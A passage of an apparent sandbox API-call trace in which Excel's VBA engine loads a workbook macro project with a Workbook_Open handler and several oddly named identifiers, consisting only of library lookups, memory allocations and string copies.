szName="Workbook") returned 0x10186b [0076.055] _mbscpy_s (in: _Dst=0x201810, _DstSizeInBytes=0x9, _Src=0x5792b16 | out: _Dst=0x201810) returned 0x0 [0076.055] _mbscpy_s (in: _Dst=0x201810, _DstSizeInBytes=0xd, _Src=0x5792c4a | out: _Dst=0x201810) returned 0x0 [0076.055] _mbscpy_s (in: _Dst=0x201810, _DstSizeInBytes=0xa, _Src=0x5792d2e | out: _Dst=0x201810) returned 0x0 [0076.055] _mbscpy_s (in: _Dst=0x201810, _DstSizeInBytes=0xb, _Src=0x5792d5a | out: _Dst=0x201810) returned 0x0 [0076.055] _mbscpy_s (in: _Dst=0x201810, _DstSizeInBytes=0x9, _Src=0x5792d02 | out: _Dst=0x201810) returned 0x0 [0076.055] _mbscpy_s (in: _Dst=0x201810, _DstSizeInBytes=0xe, _Src=0x5792bea | out: _Dst=0x201810) returned 0x0 [0076.055] _mbscpy_s (in: _Dst=0x201810, _DstSizeInBytes=0xb, _Src=0x5792dfe | out: _Dst=0x201810) returned 0x0 [0076.055] _mbscpy_s (in: _Dst=0x201810, _DstSizeInBytes=0xe, _Src=0x5792eb2 | out: _Dst=0x201810) returned 0x0 [0076.055] _mbscpy_s (in: _Dst=0x201810, _DstSizeInBytes=0xf, _Src=0x5792e82 | out: _Dst=0x201810) returned 0x0 [0076.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015c6a74e9", cchWideChar=11, lpMultiByteStr=0x201de0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015c6a74e9", lpUsedDefaultChar=0x0) returned 11 [0076.056] GetLocalTime (in: lpSystemTime=0x201ec8 | out: lpSystemTime=0x201ec8*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x2b4)) [0076.056] _ultow_s (in: _Value=0x5c6a74ea, _Buffer=0xb969eac, _BufferCount=0x9, _Radix=16 | out: _Buffer="5c6a74ea") returned 0x0 [0076.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035c6a74ea", cchWideChar=11, lpMultiByteStr=0x201e20, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035c6a74ea", lpUsedDefaultChar=0x0) returned 11 [0076.056] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb998c60 [0076.056] IMalloc:Alloc (This=0x7fefe465380, cb=0xb8) returned 0xb94bfb0 [0076.056] IMalloc:Alloc (This=0x7fefe465380, cb=0xb8) returned 0xb949a30 [0076.056] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x6628900 [0076.056] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x662a020 [0076.056] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x67aba30 [0076.056] IMalloc:Free (This=0x7fefe465380, pv=0x67aba30) [0076.057] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x67aba30 [0076.057] IMalloc:Free (This=0x7fefe465380, pv=0x67aba30) [0076.057] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x67aba30 [0076.057] IMalloc:Free (This=0x7fefe465380, pv=0x67aba30) [0076.057] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x67aba30 [0076.057] IMalloc:Free (This=0x7fefe465380, pv=0x67aba30) [0076.057] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x67aba30 [0076.057] IMalloc:Free (This=0x7fefe465380, pv=0x67aba30) [0076.057] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x67aba30 [0076.057] IMalloc:Free (This=0x7fefe465380, pv=0x67aba30) [0076.057] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x67aba30 [0076.057] IMalloc:Free (This=0x7fefe465380, pv=0x67aba30) [0076.057] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x67aba30 [0076.057] IMalloc:Free (This=0x7fefe465380, pv=0x67aba30) [0076.058] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x67aba30 [0076.058] IMalloc:Free (This=0x7fefe465380, pv=0x67aba30) [0076.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x201c60, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0076.060] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0076.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x201880, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0076.060] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0076.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x201880, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0076.083] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0076.083] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0x9, _Src=0x5792b16 | out: _Dst=0x201c40) returned 0x0 [0076.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792b66, cbMultiByte=14, lpWideCharStr=0x201c00, cchWideChar=28 | out: lpWideCharStr="Workbook_Open") returned 14 [0076.083] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0xe, _Src=0x5792b66 | out: _Dst=0x201c40) returned 0x0 [0076.083] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0076.083] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0xe, _Src=0x201c49 | out: _Dst=0x201c40) returned 0x0 [0076.084] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0076.084] IMalloc:Alloc (This=0x7fefe465380, cb=0x60) returned 0x66f1910 [0076.084] IMalloc:Alloc (This=0x7fefe465380, cb=0xb8) returned 0xb94be30 [0076.084] IMalloc:Alloc (This=0x7fefe465380, cb=0x3d0) returned 0xb9f3b50 [0076.084] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x64c19b0 [0076.084] IMalloc:Alloc (This=0x7fefe465380, cb=0x10) returned 0x66e1a70 [0076.084] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb999710 [0076.084] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6640a80 [0076.084] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6640a50 [0076.084] IUnknown:AddRef (This=0x679bb80) returned 0x3 [0076.084] IUnknown:QueryInterface (in: This=0x679bb80, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x201ac0 | out: ppvObject=0x201ac0*=0x0) returned 0x80004002 [0076.084] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x201ab8 | out: ppTComp=0x201ab8*=0x679bb90) returned 0x0 [0076.084] IMalloc:Alloc (This=0x7fefe465380, cb=0x38) returned 0x651d0c0 [0076.084] IUnknown:AddRef (This=0x679bb90) returned 0x5 [0076.084] IUnknown:Release (This=0x679bb90) returned 0x4 [0076.084] IUnknown:Release (This=0x679bb80) returned 0x3 [0076.084] IUnknown:AddRef (This=0x5a48620) returned 0xc [0076.084] IUnknown:QueryInterface (in: This=0x5a48620, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x201ac0 | out: ppvObject=0x201ac0*=0x0) returned 0x80004002 [0076.084] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x201ab8 | out: ppTComp=0x201ab8*=0x5a48630) returned 0x0 [0076.084] IMalloc:Alloc (This=0x7fefe465380, cb=0x38) returned 0x651d100 [0076.085] IUnknown:AddRef (This=0x5a48630) returned 0xe [0076.085] IUnknown:Release (This=0x5a48630) returned 0xd [0076.085] IUnknown:Release (This=0x5a48620) returned 0xc [0076.085] IUnknown:AddRef (This=0x679c120) returned 0x4 [0076.085] IUnknown:QueryInterface (in: This=0x679c120, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x201ac0 | out: ppvObject=0x201ac0*=0x0) returned 0x80004002 [0076.085] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x201ab8 | out: ppTComp=0x201ab8*=0x679c130) returned 0x0 [0076.085] IMalloc:Alloc (This=0x7fefe465380, cb=0x38) returned 0x651d040 [0076.085] IUnknown:AddRef (This=0x679c130) returned 0x6 [0076.085] IUnknown:Release (This=0x679c130) returned 0x5 [0076.085] IUnknown:Release (This=0x679c120) returned 0x4 [0076.085] IUnknown:AddRef (This=0x679c6c0) returned 0x2 [0076.085] IUnknown:QueryInterface (in: This=0x679c6c0, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x201ac0 | out: ppvObject=0x201ac0*=0x0) returned 0x80004002 [0076.085] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x201ab8 | out: ppTComp=0x201ab8*=0x679c6d0) returned 0x0 [0076.085] IMalloc:Alloc (This=0x7fefe465380, cb=0x38) returned 0x6534c40 [0076.085] IUnknown:AddRef (This=0x679c6d0) returned 0x4 [0076.085] IUnknown:Release (This=0x679c6d0) returned 0x3 [0076.085] IUnknown:Release (This=0x679c6c0) returned 0x2 [0076.085] IMalloc:Alloc (This=0x7fefe465380, cb=0x38) returned 0x6516d00 [0076.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5791556, cbMultiByte=5, lpWideCharStr=0x201950, cchWideChar=6 | out: lpWideCharStr="Open") returned 5 [0076.085] IMalloc:Alloc (This=0x7fefe465380, cb=0x640) returned 0x6283430 [0076.085] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x64c9960 [0076.085] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6640a60 [0076.085] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6640a70 [0076.085] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x64c9060 [0076.085] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb9999e0 [0076.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792c4a, cbMultiByte=13, lpWideCharStr=0x201c00, cchWideChar=26 | out: lpWideCharStr="goldgoldtime") returned 13 [0076.085] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0xd, _Src=0x5792c4a | out: _Dst=0x201c40) returned 0x0 [0076.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d2e, cbMultiByte=10, lpWideCharStr=0x201c00, cchWideChar=20 | out: lpWideCharStr="ramzessii") returned 10 [0076.086] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0xa, _Src=0x5792d2e | out: _Dst=0x201c40) returned 0x0 [0076.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d5a, cbMultiByte=11, lpWideCharStr=0x201c00, cchWideChar=22 | out: lpWideCharStr="SingleSong") returned 11 [0076.086] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0xb, _Src=0x5792d5a | out: _Dst=0x201c40) returned 0x0 [0076.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792d02, cbMultiByte=9, lpWideCharStr=0x201c00, cchWideChar=18 | out: lpWideCharStr="depminng") returned 9 [0076.086] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0x9, _Src=0x5792d02 | out: _Dst=0x201c40) returned 0x0 [0076.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792bea, cbMultiByte=14, lpWideCharStr=0x201c00, cchWideChar=28 | out: lpWideCharStr="bigtowerstone") returned 14 [0076.086] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0xe, _Src=0x5792bea | out: _Dst=0x201c40) returned 0x0 [0076.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792dfe, cbMultiByte=11, lpWideCharStr=0x201c00, cchWideChar=22 | out: lpWideCharStr="nugahoneys") returned 11 [0076.086] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0xb, _Src=0x5792dfe | out: _Dst=0x201c40) returned 0x0 [0076.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792eb2, cbMultiByte=14, lpWideCharStr=0x201c00, cchWideChar=28 | out: lpWideCharStr="fatalerrrrord") returned 14 [0076.086] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0xe, _Src=0x5792eb2 | out: _Dst=0x201c40) returned 0x0 [0076.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e82, cbMultiByte=15, lpWideCharStr=0x201c00, cchWideChar=30 | out: lpWideCharStr="rtypeoldschool") returned 15 [0076.086] _mbscpy_s (in: _Dst=0x201c40, _DstSizeInBytes=0xf, _Src=0x5792e82 | out: _Dst=0x201c40) returned 0x0 [0076.086] CoCreateGuid (in: pguid=0x201e00 | out: pguid=0x201e00*(Data1=0x647af681, Data2=0x47df, Data3=0x4114, Data4=([0]=0x8d, [1]=0x7a, [2]=0xc0, [3]=0x91, [4]=0x46, [5]=0x5a, [6]=0x27, [7]=0x74))) returned 0x0 [0076.086] CoCreateGuid (in: pguid=0x201e00 | out: pguid=0x201e00*(Data1=0xef7e11b2, Data2=0xd246, Data3=0x4dfd, Data4=([0]=0x86, [1]=0x12, [2]=0x16, [3]=0xbd, [4]=0x5d, [5]=0xf3, [6]=0x7a, [7]=0x87))) returned 0x0 [0076.086] IMalloc:Alloc (This=0x7fefe465380, cb=0x14) returned 0x66e1a90 [0076.087] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x674c480 [0076.087] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0076.087] IUnknown:AddRef (This=0x679bb80) returned 0x4 [0076.087] ITypeLib:RemoteGetLibAttr (in: This=0x679bb80, ppTLibAttr=0x201468, pDummy=0x0 | out: ppTLibAttr=0x201468, pDummy=0x0) returned 0x0 [0076.087] ITypeLib:RemoteGetDocumentation (in: This=0x679bb80, index=-1, refPtrFlags=0x201480, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2014a0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2014a0*=0x0) returned 0x0 [0076.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0x2014f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL¤\x05", lpUsedDefaultChar=0x0) returned 66 [0076.087] strcpy_s (in: _Dst=0x6755790, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0076.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x201600, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0076.087] strcpy_s (in: _Dst=0x67557e0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0076.087] IUnknown:AddRef (This=0x679bb80) returned 0x5 [0076.087] ITypeLib:LocalReleaseTLibAttr (This=0x679bb80) returned 0x0 [0076.087] IUnknown:Release (This=0x679bb80) returned 0x4 [0076.087] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 4 [0076.087] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0 [0076.087] IUnknown:AddRef (This=0x5a48620) returned 0xe [0076.087] ITypeLib:RemoteGetLibAttr (in: This=0x5a48620, ppTLibAttr=0x201468, pDummy=0x0 | out: ppTLibAttr=0x201468, pDummy=0x0) returned 0x0 [0076.087] ITypeLib:RemoteGetDocumentation (in: This=0x5a48620, index=-1, refPtrFlags=0x201480, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0076.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchWideChar=57, lpMultiByteStr=0x2014f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 57 [0076.087] strcpy_s (in: _Dst=0x6755850, _DstSize=0x3a, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0076.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x201600, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0076.088] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x662b050 [0076.088] strcpy_s (in: _Dst=0x662b078, _DstSize=0x6, _Src="Excel" | out: _Dst="Excel") returned 0x0 [0076.088] IUnknown:AddRef (This=0x5a48620) returned 0xf [0076.088] ITypeLib:LocalReleaseTLibAttr (This=0x5a48620) returned 0x0 [0076.088] IUnknown:Release (This=0x5a48620) returned 0xe [0076.088] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0076.088] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0076.088] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0076.088] IUnknown:AddRef (This=0x679c120) returned 0x5 [0076.088] ITypeLib:RemoteGetLibAttr (in: This=0x679c120, ppTLibAttr=0x201468, pDummy=0x0 | out: ppTLibAttr=0x201468, pDummy=0x0) returned 0x0 [0076.088] ITypeLib:RemoteGetDocumentation (in: This=0x679c120, index=-1, refPtrFlags=0x201480, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0076.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x2014f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlbce\\Root\\Office16\\EXCEL.EXE", lpUsedDefaultChar=0x0) returned 31 [0076.088] strcpy_s (in: _Dst=0x662b0e8, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0076.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x201600, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0076.088] strcpy_s (in: _Dst=0x662b110, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0076.092] IUnknown:AddRef (This=0x679c120) returned 0x6 [0076.092] ITypeLib:LocalReleaseTLibAttr (This=0x679c120) returned 0x0 [0076.092] IUnknown:Release (This=0x679c120) returned 0x5 [0076.092] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0076.092] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 2 [0076.092] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 2 [0076.093] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0076.093] IUnknown:AddRef (This=0x679c6c0) returned 0x3 [0076.093] ITypeLib:RemoteGetLibAttr (in: This=0x679c6c0, ppTLibAttr=0x201468, pDummy=0x0 | out: ppTLibAttr=0x201468, pDummy=0x0) returned 0x0 [0076.093] ITypeLib:RemoteGetDocumentation (in: This=0x679c6c0, index=-1, refPtrFlags=0x201480, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0076.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0x2014f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63 [0076.093] strcpy_s (in: _Dst=0x662b180, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0076.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x201600, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0076.093] strcpy_s (in: _Dst=0x662b1c8, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0076.093] IUnknown:AddRef (This=0x679c6c0) returned 0x4 [0076.093] ITypeLib:LocalReleaseTLibAttr (This=0x679c6c0) returned 0x0 [0076.093] IUnknown:Release (This=0x679c6c0) returned 0x3 [0076.093] IMalloc:Free (This=0x7fefe465380, pv=0x5962db0) [0076.094] IMalloc:Alloc (This=0x7fefe465380, cb=0x118) returned 0xb9f55c0 [0076.094] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x662ae00 [0076.094] IMalloc:Alloc (This=0x7fefe465380, cb=0x8f8) returned 0x67aba30 [0076.101] IMalloc:Alloc (This=0x7fefe465380, cb=0x60) returned 0x66f1910 [0076.101] IMalloc:Alloc (This=0x7fefe465380, cb=0x60) returned 0x66f1c90 [0076.101] IMalloc:Alloc (This=0x7fefe465380, cb=0x60) returned 0x66f1980 [0076.101] IMalloc:Alloc (This=0x7fefe465380, cb=0x60) returned 0x66f1e50 [0076.101] strcpy_s (in: _Dst=0x662ae58, _DstSize=0x9, _Src="Workbook" | out: _Dst="Workbook") returned 0x0 [0076.101] IMalloc:Alloc (This=0x7fefe465380, cb=0x1d8) returned 0x6725890 [0076.101] ITypeLib:RemoteGetLibAttr (in: This=0x5a48620, ppTLibAttr=0x2005d8, pDummy=0x0 | out: ppTLibAttr=0x2005d8, pDummy=0x0) returned 0x0 [0076.101] ITypeLib:RemoteGetDocumentation (in: This=0x5a48620, index=-1, refPtrFlags=0x2005f0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2005b0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2005b0*="纠߾") returned 0x0 [0076.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchWideChar=57, lpMultiByteStr=0x200660, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\x07 ", lpUsedDefaultChar=0x0) returned 57 [0076.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x200770, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0076.101] ITypeLib:LocalReleaseTLibAttr (This=0x5a48620) returned 0x0 [0076.101] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x6628210 [0076.101] IUnknown:Release (This=0x5a48620) returned 0xf [0076.102] _mbscpy_s (in: _Dst=0x200510, _DstSizeInBytes=0x9, _Src=0x5792b16 | out: _Dst=0x200510) returned 0x0 [0076.102] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x67538c0 [0076.102] strcpy_s 